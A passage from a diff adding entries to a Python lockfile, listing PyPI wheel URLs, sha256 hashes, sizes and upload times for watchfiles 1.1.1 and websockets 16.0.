"sha256:2edc3553362b1c38d9f06242416a5d8e9fe235c204a4072e988ce2e5bb1f69f6", size = 459485, upload-time = "2025-10-14T15:04:50.155Z" }, + { url = "https://files.pythonhosted.org/packages/19/0c/286b6301ded2eccd4ffd0041a1b726afda999926cf720aab63adb68a1e36/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:30f7da3fb3f2844259cba4720c3fc7138eb0f7b659c38f3bfa65084c7fc7abce", size = 488813, upload-time = "2025-10-14T15:04:51.059Z" }, + { url = "https://files.pythonhosted.org/packages/c7/2b/8530ed41112dd4a22f4dcfdb5ccf6a1baad1ff6eed8dc5a5f09e7e8c41c7/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f8979280bdafff686ba5e4d8f97840f929a87ed9cdf133cbbd42f7766774d2aa", size = 594816, upload-time = "2025-10-14T15:04:52.031Z" }, + { url = "https://files.pythonhosted.org/packages/ce/d2/f5f9fb49489f184f18470d4f99f4e862a4b3e9ac2865688eb2099e3d837a/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dcc5c24523771db3a294c77d94771abcfcb82a0e0ee8efd910c37c59ec1b31bb", size = 475186, upload-time = "2025-10-14T15:04:53.064Z" }, + { url = "https://files.pythonhosted.org/packages/cf/68/5707da262a119fb06fbe214d82dd1fe4a6f4af32d2d14de368d0349eb52a/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1db5d7ae38ff20153d542460752ff397fcf5c96090c1230803713cf3147a6803", size = 456812, upload-time = "2025-10-14T15:04:55.174Z" }, + { url = "https://files.pythonhosted.org/packages/66/ab/3cbb8756323e8f9b6f9acb9ef4ec26d42b2109bce830cc1f3468df20511d/watchfiles-1.1.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:28475ddbde92df1874b6c5c8aaeb24ad5be47a11f87cde5a28ef3835932e3e94", size = 630196, upload-time = "2025-10-14T15:04:56.22Z" }, + { url = "https://files.pythonhosted.org/packages/78/46/7152ec29b8335f80167928944a94955015a345440f524d2dfe63fc2f437b/watchfiles-1.1.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:36193ed342f5b9842edd3532729a2ad55c4160ffcfa3700e0d54be496b70dd43", size = 622657, upload-time = "2025-10-14T15:04:57.521Z" }, + { url = "https://files.pythonhosted.org/packages/0a/bf/95895e78dd75efe9a7f31733607f384b42eb5feb54bd2eb6ed57cc2e94f4/watchfiles-1.1.1-cp312-cp312-win32.whl", hash = "sha256:859e43a1951717cc8de7f4c77674a6d389b106361585951d9e69572823f311d9", size = 272042, upload-time = "2025-10-14T15:04:59.046Z" }, + { url = "https://files.pythonhosted.org/packages/87/0a/90eb755f568de2688cb220171c4191df932232c20946966c27a59c400850/watchfiles-1.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:91d4c9a823a8c987cce8fa2690923b069966dabb196dd8d137ea2cede885fde9", size = 288410, upload-time = "2025-10-14T15:05:00.081Z" }, + { url = "https://files.pythonhosted.org/packages/36/76/f322701530586922fbd6723c4f91ace21364924822a8772c549483abed13/watchfiles-1.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:a625815d4a2bdca61953dbba5a39d60164451ef34c88d751f6c368c3ea73d404", size = 278209, upload-time = "2025-10-14T15:05:01.168Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/f750b29225fe77139f7ae5de89d4949f5a99f934c65a1f1c0b248f26f747/watchfiles-1.1.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:130e4876309e8686a5e37dba7d5e9bc77e6ed908266996ca26572437a5271e18", size = 404321, upload-time = "2025-10-14T15:05:02.063Z" }, + { url = "https://files.pythonhosted.org/packages/2b/f9/f07a295cde762644aa4c4bb0f88921d2d141af45e735b965fb2e87858328/watchfiles-1.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:5f3bde70f157f84ece3765b42b4a52c6ac1a50334903c6eaf765362f6ccca88a", size = 391783, upload-time = "2025-10-14T15:05:03.052Z" }, + { url = "https://files.pythonhosted.org/packages/bc/11/fc2502457e0bea39a5c958d86d2cb69e407a4d00b85735ca724bfa6e0d1a/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14e0b1fe858430fc0251737ef3824c54027bedb8c37c38114488b8e131cf8219", size = 449279, upload-time = "2025-10-14T15:05:04.004Z" }, + { url = "https://files.pythonhosted.org/packages/e3/1f/d66bc15ea0b728df3ed96a539c777acfcad0eb78555ad9efcaa1274688f0/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f27db948078f3823a6bb3b465180db8ebecf26dd5dae6f6180bd87383b6b4428", size = 459405, upload-time = "2025-10-14T15:05:04.942Z" }, + { url = "https://files.pythonhosted.org/packages/be/90/9f4a65c0aec3ccf032703e6db02d89a157462fbb2cf20dd415128251cac0/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:059098c3a429f62fc98e8ec62b982230ef2c8df68c79e826e37b895bc359a9c0", size = 488976, upload-time = "2025-10-14T15:05:05.905Z" }, + { url = "https://files.pythonhosted.org/packages/37/57/ee347af605d867f712be7029bb94c8c071732a4b44792e3176fa3c612d39/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bfb5862016acc9b869bb57284e6cb35fdf8e22fe59f7548858e2f971d045f150", size = 595506, upload-time = "2025-10-14T15:05:06.906Z" }, + { url = "https://files.pythonhosted.org/packages/a8/78/cc5ab0b86c122047f75e8fc471c67a04dee395daf847d3e59381996c8707/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:319b27255aacd9923b8a276bb14d21a5f7ff82564c744235fc5eae58d95422ae", size = 474936, upload-time = "2025-10-14T15:05:07.906Z" }, + { url = "https://files.pythonhosted.org/packages/62/da/def65b170a3815af7bd40a3e7010bf6ab53089ef1b75d05dd5385b87cf08/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c755367e51db90e75b19454b680903631d41f9e3607fbd941d296a020c2d752d", size = 456147, upload-time = "2025-10-14T15:05:09.138Z" }, + { url = "https://files.pythonhosted.org/packages/57/99/da6573ba71166e82d288d4df0839128004c67d2778d3b566c138695f5c0b/watchfiles-1.1.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c22c776292a23bfc7237a98f791b9ad3144b02116ff10d820829ce62dff46d0b", size = 630007, upload-time = "2025-10-14T15:05:10.117Z" }, + { url = "https://files.pythonhosted.org/packages/a8/51/7439c4dd39511368849eb1e53279cd3454b4a4dbace80bab88feeb83c6b5/watchfiles-1.1.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:3a476189be23c3686bc2f4321dd501cb329c0a0469e77b7b534ee10129ae6374", size = 622280, upload-time = "2025-10-14T15:05:11.146Z" }, + { url = "https://files.pythonhosted.org/packages/95/9c/8ed97d4bba5db6fdcdb2b298d3898f2dd5c20f6b73aee04eabe56c59677e/watchfiles-1.1.1-cp313-cp313-win32.whl", hash = "sha256:bf0a91bfb5574a2f7fc223cf95eeea79abfefa404bf1ea5e339c0c1560ae99a0", size = 272056, upload-time = "2025-10-14T15:05:12.156Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/c14e28429f744a260d8ceae18bf58c1d5fa56b50d006a7a9f80e1882cb0d/watchfiles-1.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:52e06553899e11e8074503c8e716d574adeeb7e68913115c4b3653c53f9bae42", size = 288162, upload-time = "2025-10-14T15:05:13.208Z" }, + { url = "https://files.pythonhosted.org/packages/dc/61/fe0e56c40d5cd29523e398d31153218718c5786b5e636d9ae8ae79453d27/watchfiles-1.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:ac3cc5759570cd02662b15fbcd9d917f7ecd47efe0d6b40474eafd246f91ea18", size = 277909, upload-time = "2025-10-14T15:05:14.49Z" }, + { url = "https://files.pythonhosted.org/packages/79/42/e0a7d749626f1e28c7108a99fb9bf524b501bbbeb9b261ceecde644d5a07/watchfiles-1.1.1-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:563b116874a9a7ce6f96f87cd0b94f7faf92d08d0021e837796f0a14318ef8da", size = 403389, upload-time = "2025-10-14T15:05:15.777Z" }, + { url = "https://files.pythonhosted.org/packages/15/49/08732f90ce0fbbc13913f9f215c689cfc9ced345fb1bcd8829a50007cc8d/watchfiles-1.1.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3ad9fe1dae4ab4212d8c91e80b832425e24f421703b5a42ef2e4a1e215aff051", size = 389964, upload-time = "2025-10-14T15:05:16.85Z" }, + { url = "https://files.pythonhosted.org/packages/27/0d/7c315d4bd5f2538910491a0393c56bf70d333d51bc5b34bee8e68e8cea19/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce70f96a46b894b36eba678f153f052967a0d06d5b5a19b336ab0dbbd029f73e", size = 448114, upload-time = "2025-10-14T15:05:17.876Z" }, + { url = "https://files.pythonhosted.org/packages/c3/24/9e096de47a4d11bc4df41e9d1e61776393eac4cb6eb11b3e23315b78b2cc/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:cb467c999c2eff23a6417e58d75e5828716f42ed8289fe6b77a7e5a91036ca70", size = 460264, upload-time = "2025-10-14T15:05:18.962Z" }, + { url = "https://files.pythonhosted.org/packages/cc/0f/e8dea6375f1d3ba5fcb0b3583e2b493e77379834c74fd5a22d66d85d6540/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:836398932192dae4146c8f6f737d74baeac8b70ce14831a239bdb1ca882fc261", size = 487877, upload-time = "2025-10-14T15:05:20.094Z" }, + { url = "https://files.pythonhosted.org/packages/ac/5b/df24cfc6424a12deb41503b64d42fbea6b8cb357ec62ca84a5a3476f654a/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:743185e7372b7bc7c389e1badcc606931a827112fbbd37f14c537320fca08620", size = 595176, upload-time = "2025-10-14T15:05:21.134Z" }, + { url = "https://files.pythonhosted.org/packages/8f/b5/853b6757f7347de4e9b37e8cc3289283fb983cba1ab4d2d7144694871d9c/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:afaeff7696e0ad9f02cbb8f56365ff4686ab205fcf9c4c5b6fdfaaa16549dd04", size = 473577, upload-time = "2025-10-14T15:05:22.306Z" }, + { url = "https://files.pythonhosted.org/packages/e1/f7/0a4467be0a56e80447c8529c9fce5b38eab4f513cb3d9bf82e7392a5696b/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f7eb7da0eb23aa2ba036d4f616d46906013a68caf61b7fdbe42fc8b25132e77", size = 455425, upload-time = "2025-10-14T15:05:23.348Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/82583485ea00137ddf69bc84a2db88bd92ab4a6e3c405e5fb878ead8d0e7/watchfiles-1.1.1-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:831a62658609f0e5c64178211c942ace999517f5770fe9436be4c2faeba0c0ef", size = 628826, upload-time = "2025-10-14T15:05:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/28/9a/a785356fccf9fae84c0cc90570f11702ae9571036fb25932f1242c82191c/watchfiles-1.1.1-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:f9a2ae5c91cecc9edd47e041a930490c31c3afb1f5e6d71de3dc671bfaca02bf", size = 622208, upload-time = "2025-10-14T15:05:25.45Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f4/0872229324ef69b2c3edec35e84bd57a1289e7d3fe74588048ed8947a323/watchfiles-1.1.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:d1715143123baeeaeadec0528bb7441103979a1d5f6fd0e1f915383fea7ea6d5", size = 404315, upload-time = "2025-10-14T15:05:26.501Z" }, + { url = "https://files.pythonhosted.org/packages/7b/22/16d5331eaed1cb107b873f6ae1b69e9ced582fcf0c59a50cd84f403b1c32/watchfiles-1.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:39574d6370c4579d7f5d0ad940ce5b20db0e4117444e39b6d8f99db5676c52fd", size = 390869, upload-time = "2025-10-14T15:05:27.649Z" }, + { url = "https://files.pythonhosted.org/packages/b2/7e/5643bfff5acb6539b18483128fdc0ef2cccc94a5b8fbda130c823e8ed636/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7365b92c2e69ee952902e8f70f3ba6360d0d596d9299d55d7d386df84b6941fb", size = 449919, upload-time = "2025-10-14T15:05:28.701Z" }, + { url = "https://files.pythonhosted.org/packages/51/2e/c410993ba5025a9f9357c376f48976ef0e1b1aefb73b97a5ae01a5972755/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bfff9740c69c0e4ed32416f013f3c45e2ae42ccedd1167ef2d805c000b6c71a5", size = 460845, upload-time = "2025-10-14T15:05:30.064Z" }, + { url = "https://files.pythonhosted.org/packages/8e/a4/2df3b404469122e8680f0fcd06079317e48db58a2da2950fb45020947734/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b27cf2eb1dda37b2089e3907d8ea92922b673c0c427886d4edc6b94d8dfe5db3", size = 489027, upload-time = "2025-10-14T15:05:31.064Z" }, + { url = "https://files.pythonhosted.org/packages/ea/84/4587ba5b1f267167ee715b7f66e6382cca6938e0a4b870adad93e44747e6/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:526e86aced14a65a5b0ec50827c745597c782ff46b571dbfe46192ab9e0b3c33", size = 595615, upload-time = "2025-10-14T15:05:32.074Z" }, + { url = "https://files.pythonhosted.org/packages/6a/0f/c6988c91d06e93cd0bb3d4a808bcf32375ca1904609835c3031799e3ecae/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:04e78dd0b6352db95507fd8cb46f39d185cf8c74e4cf1e4fbad1d3df96faf510", size = 474836, upload-time = "2025-10-14T15:05:33.209Z" }, + { url = "https://files.pythonhosted.org/packages/b4/36/ded8aebea91919485b7bbabbd14f5f359326cb5ec218cd67074d1e426d74/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c85794a4cfa094714fb9c08d4a218375b2b95b8ed1666e8677c349906246c05", size = 455099, upload-time = "2025-10-14T15:05:34.189Z" }, + { url = "https://files.pythonhosted.org/packages/98/e0/8c9bdba88af756a2fce230dd365fab2baf927ba42cd47521ee7498fd5211/watchfiles-1.1.1-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:74d5012b7630714b66be7b7b7a78855ef7ad58e8650c73afc4c076a1f480a8d6", size = 630626, upload-time = "2025-10-14T15:05:35.216Z" }, + { url = "https://files.pythonhosted.org/packages/2a/84/a95db05354bf2d19e438520d92a8ca475e578c647f78f53197f5a2f17aaf/watchfiles-1.1.1-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:8fbe85cb3201c7d380d3d0b90e63d520f15d6afe217165d7f98c9c649654db81", size = 622519, upload-time = "2025-10-14T15:05:36.259Z" }, + { url = "https://files.pythonhosted.org/packages/1d/ce/d8acdc8de545de995c339be67711e474c77d643555a9bb74a9334252bd55/watchfiles-1.1.1-cp314-cp314-win32.whl", hash = "sha256:3fa0b59c92278b5a7800d3ee7733da9d096d4aabcfabb9a928918bd276ef9b9b", size = 272078, upload-time = "2025-10-14T15:05:37.63Z" }, + { url = "https://files.pythonhosted.org/packages/c4/c9/a74487f72d0451524be827e8edec251da0cc1fcf111646a511ae752e1a3d/watchfiles-1.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:c2047d0b6cea13b3316bdbafbfa0c4228ae593d995030fda39089d36e64fc03a", size = 287664, upload-time = "2025-10-14T15:05:38.95Z" }, + { url = "https://files.pythonhosted.org/packages/df/b8/8ac000702cdd496cdce998c6f4ee0ca1f15977bba51bdf07d872ebdfc34c/watchfiles-1.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:842178b126593addc05acf6fce960d28bc5fae7afbaa2c6c1b3a7b9460e5be02", size = 277154, upload-time = "2025-10-14T15:05:39.954Z" }, + { url = "https://files.pythonhosted.org/packages/47/a8/e3af2184707c29f0f14b1963c0aace6529f9d1b8582d5b99f31bbf42f59e/watchfiles-1.1.1-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:88863fbbc1a7312972f1c511f202eb30866370ebb8493aef2812b9ff28156a21", size = 403820, upload-time = "2025-10-14T15:05:40.932Z" }, + { url = "https://files.pythonhosted.org/packages/c0/ec/e47e307c2f4bd75f9f9e8afbe3876679b18e1bcec449beca132a1c5ffb2d/watchfiles-1.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:55c7475190662e202c08c6c0f4d9e345a29367438cf8e8037f3155e10a88d5a5", size = 390510, upload-time = "2025-10-14T15:05:41.945Z" }, + { url = "https://files.pythonhosted.org/packages/d5/a0/ad235642118090f66e7b2f18fd5c42082418404a79205cdfca50b6309c13/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f53fa183d53a1d7a8852277c92b967ae99c2d4dcee2bfacff8868e6e30b15f7", size = 448408, upload-time = "2025-10-14T15:05:43.385Z" }, + { url = "https://files.pythonhosted.org/packages/df/85/97fa10fd5ff3332ae17e7e40e20784e419e28521549780869f1413742e9d/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6aae418a8b323732fa89721d86f39ec8f092fc2af67f4217a2b07fd3e93c6101", size = 458968, upload-time = "2025-10-14T15:05:44.404Z" }, + { url = "https://files.pythonhosted.org/packages/47/c2/9059c2e8966ea5ce678166617a7f75ecba6164375f3b288e50a40dc6d489/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f096076119da54a6080e8920cbdaac3dbee667eb91dcc5e5b78840b87415bd44", size = 488096, upload-time = "2025-10-14T15:05:45.398Z" }, + { url = "https://files.pythonhosted.org/packages/94/44/d90a9ec8ac309bc26db808a13e7bfc0e4e78b6fc051078a554e132e80160/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:00485f441d183717038ed2e887a7c868154f216877653121068107b227a2f64c", size = 596040, upload-time = "2025-10-14T15:05:46.502Z" }, + { url = "https://files.pythonhosted.org/packages/95/68/4e3479b20ca305cfc561db3ed207a8a1c745ee32bf24f2026a129d0ddb6e/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a55f3e9e493158d7bfdb60a1165035f1cf7d320914e7b7ea83fe22c6023b58fc", size = 473847, upload-time = "2025-10-14T15:05:47.484Z" }, + { url = "https://files.pythonhosted.org/packages/4f/55/2af26693fd15165c4ff7857e38330e1b61ab8c37d15dc79118cdba115b7a/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c91ed27800188c2ae96d16e3149f199d62f86c7af5f5f4d2c61a3ed8cd3666c", size = 455072, upload-time = "2025-10-14T15:05:48.928Z" }, + { url = "https://files.pythonhosted.org/packages/66/1d/d0d200b10c9311ec25d2273f8aad8c3ef7cc7ea11808022501811208a750/watchfiles-1.1.1-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:311ff15a0bae3714ffb603e6ba6dbfba4065ab60865d15a6ec544133bdb21099", size = 629104, upload-time = "2025-10-14T15:05:49.908Z" }, + { url = "https://files.pythonhosted.org/packages/e3/bd/fa9bb053192491b3867ba07d2343d9f2252e00811567d30ae8d0f78136fe/watchfiles-1.1.1-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:a916a2932da8f8ab582f242c065f5c81bed3462849ca79ee357dd9551b0e9b01", size = 622112, upload-time = "2025-10-14T15:05:50.941Z" }, +] + +[[package]] +name = "websockets" +version = "16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/04/24/4b2031d72e840ce4c1ccb255f693b15c334757fc50023e4db9537080b8c4/websockets-16.0.tar.gz", hash = "sha256:5f6261a5e56e8d5c42a4497b364ea24d94d9563e8fbd44e78ac40879c60179b5", size = 179346, upload-time = "2026-01-10T09:23:47.181Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/84/7b/bac442e6b96c9d25092695578dda82403c77936104b5682307bd4deb1ad4/websockets-16.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:71c989cbf3254fbd5e84d3bff31e4da39c43f884e64f2551d14bb3c186230f00", size = 177365, upload-time = "2026-01-10T09:22:46.787Z" }, + { url = "https://files.pythonhosted.org/packages/b0/fe/136ccece61bd690d9c1f715baaeefd953bb2360134de73519d5df19d29ca/websockets-16.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8b6e209ffee39ff1b6d0fa7bfef6de950c60dfb91b8fcead17da4ee539121a79", size = 175038, upload-time = "2026-01-10T09:22:47.999Z" }, + { url = "https://files.pythonhosted.org/packages/40/1e/9771421ac2286eaab95b8575b0cb701ae3663abf8b5e1f64f1fd90d0a673/websockets-16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86890e837d61574c92a97496d590968b23c2ef0aeb8a9bc9421d174cd378ae39", size = 175328, upload-time = "2026-01-10T09:22:49.809Z" }, + { url = "https://files.pythonhosted.org/packages/18/29/71729b4671f21e1eaa5d6573031ab810ad2936c8175f03f97f3ff164c802/websockets-16.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9b5aca38b67492ef518a8ab76851862488a478602229112c4b0d58d63a7a4d5c", size = 184915, upload-time = "2026-01-10T09:22:51.071Z" }, + { url = "https://files.pythonhosted.org/packages/97/bb/21c36b7dbbafc85d2d480cd65df02a1dc93bf76d97147605a8e27ff9409d/websockets-16.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e0334872c0a37b606418ac52f6ab9cfd17317ac26365f7f65e203e2d0d0d359f", size = 186152, upload-time = "2026-01-10T09:22:52.224Z" }, + { url = "https://files.pythonhosted.org/packages/4a/34/9bf8df0c0cf88fa7bfe36678dc7b02970c9a7d5e065a3099292db87b1be2/websockets-16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a0b31e0b424cc6b5a04b8838bbaec1688834b2383256688cf47eb97412531da1", size = 185583, upload-time = "2026-01-10T09:22:53.443Z" }, + { url = "https://files.pythonhosted.org/packages/47/88/4dd516068e1a3d6ab3c7c183288404cd424a9a02d585efbac226cb61ff2d/websockets-16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:485c49116d0af10ac698623c513c1cc01c9446c058a4e61e3bf6c19dff7335a2", size = 184880, upload-time = "2026-01-10T09:22:55.033Z" }, + { url = "https://files.pythonhosted.org/packages/91/d6/7d4553ad4bf1c0421e1ebd4b18de5d9098383b5caa1d937b63df8d04b565/websockets-16.0-cp312-cp312-win32.whl", hash = "sha256:eaded469f5e5b7294e2bdca0ab06becb6756ea86894a47806456089298813c89", size = 178261, upload-time = "2026-01-10T09:22:56.251Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f0/f3a17365441ed1c27f850a80b2bc680a0fa9505d733fe152fdf5e98c1c0b/websockets-16.0-cp312-cp312-win_amd64.whl", hash = "sha256:5569417dc80977fc8c2d43a86f78e0a5a22fee17565d78621b6bb264a115d4ea", size = 178693, upload-time = "2026-01-10T09:22:57.478Z" }, + { url = "https://files.pythonhosted.org/packages/cc/9c/baa8456050d1c1b08dd0ec7346026668cbc6f145ab4e314d707bb845bf0d/websockets-16.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:878b336ac47938b474c8f982ac2f7266a540adc3fa4ad74ae96fea9823a02cc9", size = 177364, upload-time = "2026-01-10T09:22:59.333Z" }, + { url = "https://files.pythonhosted.org/packages/7e/0c/8811fc53e9bcff68fe7de2bcbe75116a8d959ac699a3200f4847a8925210/websockets-16.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:52a0fec0e6c8d9a784c2c78276a48a2bdf099e4ccc2a4cad53b27718dbfd0230", size = 175039, upload-time = "2026-01-10T09:23:01.171Z" }, + { url = "https://files.pythonhosted.org/packages/aa/82/39a5f910cb99ec0b59e482971238c845af9220d3ab9fa76dd9162cda9d62/websockets-16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e6578ed5b6981005df1860a56e3617f14a6c307e6a71b4fff8c48fdc50f3ed2c", size = 175323, upload-time = "2026-01-10T09:23:02.341Z" }, + { url = "https://files.pythonhosted.org/packages/bd/28/0a25ee5342eb5d5f297d992a77e56892ecb65e7854c7898fb7d35e9b33bd/websockets-16.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:95724e638f0f9c350bb1c2b0a7ad0e83d9cc0c9259f3ea94e40d7b02a2179ae5", size = 184975, upload-time = "2026-01-10T09:23:03.756Z" }, + { url = "https://files.pythonhosted.org/packages/f9/66/27ea52741752f5107c2e41fda05e8395a682a1e11c4e592a809a90c6a506/websockets-16.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0204dc62a89dc9d50d682412c10b3542d748260d743500a85c13cd1ee4bde82", size = 186203, upload-time = "2026-01-10T09:23:05.01Z" }, + { url = "https://files.pythonhosted.org/packages/37/e5/8e32857371406a757816a2b471939d51c463509be73fa538216ea52b792a/websockets-16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:52ac480f44d32970d66763115edea932f1c5b1312de36df06d6b219f6741eed8", size = 185653, upload-time = "2026-01-10T09:23:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/9b/67/f926bac29882894669368dc73f4da900fcdf47955d0a0185d60103df5737/websockets-16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6e5a82b677f8f6f59e8dfc34ec06ca6b5b48bc4fcda346acd093694cc2c24d8f", size = 184920, upload-time = "2026-01-10T09:23:07.492Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a1/3d6ccdcd125b0a42a311bcd15a7f705d688f73b2a22d8cf1c0875d35d34a/websockets-16.0-cp313-cp313-win32.whl", hash = "sha256:abf050a199613f64c886ea10f38b47770a65154dc37181bfaff70c160f45315a", size = 178255, upload-time = "2026-01-10T09:23:09.245Z" }, + { url = "https://files.pythonhosted.org/packages/6b/ae/90366304d7c2ce80f9b826096a9e9048b4bb760e44d3b873bb272cba696b/websockets-16.0-cp313-cp313-win_amd64.whl", hash = "sha256:3425ac5cf448801335d6fdc7ae1eb22072055417a96cc6b31b3861f455fbc156", size = 178689, upload-time = "2026-01-10T09:23:10.483Z" }, + { url = "https://files.pythonhosted.org/packages/f3/1d/e88022630271f5bd349ed82417136281931e558d628dd52c4d8621b4a0b2/websockets-16.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8cc451a50f2aee53042ac52d2d053d08bf89bcb31ae799cb4487587661c038a0", size = 177406, upload-time = "2026-01-10T09:23:12.178Z" }, + { url = "https://files.pythonhosted.org/packages/f2/78/e63be1bf0724eeb4616efb1ae1c9044f7c3953b7957799abb5915bffd38e/websockets-16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:daa3b6ff70a9241cf6c7fc9e949d41232d9d7d26fd3522b1ad2b4d62487e9904", size = 175085, upload-time = "2026-01-10T09:23:13.511Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/d3c9220d818ee955ae390cf319a7c7a467beceb24f05ee7aaaa2414345ba/websockets-16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:fd3cb4adb94a2a6e2b7c0d8d05cb94e6f1c81a0cf9dc2694fb65c7e8d94c42e4", size = 175328, upload-time = "2026-01-10T09:23:14.727Z" }, + { url = "https://files.pythonhosted.org/packages/63/bc/d3e208028de777087e6fb2b122051a6ff7bbcca0d6df9d9c2bf1dd869ae9/websockets-16.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:781caf5e8eee67f663126490c2f96f40906594cb86b408a703630f95550a8c3e", size = 185044, upload-time = "2026-01-10T09:23:15.939Z" }, + { url = "https://files.pythonhosted.org/packages/ad/6e/9a0927ac24bd33a0a9af834d89e0abc7cfd8e13bed17a86407a66773cc0e/websockets-16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caab51a72c51973ca21fa8a18bd8165e1a0183f1ac7066a182ff27107b71e1a4", size = 186279, upload-time = "2026-01-10T09:23:17.148Z" }, + { url = 